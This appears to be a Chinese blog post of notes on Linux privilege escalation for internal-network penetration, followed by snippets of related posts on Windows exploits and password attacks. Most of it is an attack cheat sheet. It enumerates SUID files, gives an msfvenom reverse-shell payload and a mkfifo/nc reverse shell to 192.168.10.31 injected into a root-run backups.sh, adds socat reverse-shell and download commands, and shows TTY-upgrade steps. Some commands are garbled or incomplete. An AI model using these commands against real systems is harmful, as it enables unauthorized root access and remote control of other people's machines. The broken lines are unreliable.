內網滲透 linux提權

2021-10-08 15:25:53 字數 1596 閱讀 8418

#查詢所有者為使用者的檔案

find / -type f -user 使用者名稱 2>dev/null

#檢視帶有root許可權的suid命令

find / type f -perm -u=s 2>/dev/null

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

-type d 目錄

-type b 塊裝置檔案

-type c 字元裝置檔案

-type p 管道檔案

-type l 符號鏈結檔案

-type f 普通檔案

#檢視核心資訊

uname -a

#建立bash**

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.31 lport=4444 r

#寫入具有高的執行許可權的檔案

echo

" mkfifo /tmp/saqno; nc 192.168.10.31 4444 0/tmp/saqno 2>&1; rm /tmp/saqno "

>> backups.sh

linux提權

linux提權輔助工具

python -c 'import pty; pty.spawn("/bin/bash")'
#listener:

socat file:`

tty`

,raw,echo=0 tcp-listen:port

#victim:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

#如果目標沒有socat或者沒有使用socat的許可權

wget -q -o /tmp/socat;

chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

# in reverse shell

$ python -c 'import pty; pty.spawn("/bin/bash")'

ctrl-z

# in kali

#獲取終端型別

$echo

$term

$stty -a

$ stty raw -echo

$ fg

# in reverse shell

$ reset

$ export shell=bash

$ export term=xterm-256color

$ stty rows columns

公升級shel

內網滲透 基於密碼的破解提權

1 通過中間人劫持 網路竊聽 2 通過使用者主機竊聽 鍵盤記錄 3 通過簡單猜測 常用密碼 4 通過系統漏洞 永恆之藍 5 使用者自己洩漏 git 配置檔案等洩漏方式 6 通過系統後門 shift後門 windows使用了兩種方法對使用者的密碼進行雜湊處理,分別為lan manager lm 雜湊和...

內網提權 系統篇

windows 系統漏洞 ms系列 ms08 067 rpcms09 012 pr.exe 巴西烤肉提權 ms09 020 iis5 6 ms12 202 rdp藍屏 ms17 010 永恆之藍 wannacry cve 2019 0708 rdp 命令執行 粘滯鍵提權 sethc.exe 使用cm...

內網的Windows提權基礎

msf提權 因為uac,直接使用這個可能會失敗 漏洞提權 cs提權 一些命令是有system許可權的 用at開啟system許可權的msf msf use exploit multi script web delivery 完成設定並執行 給出一條語句 將其在cmd下用at執行.例如 at 11 2...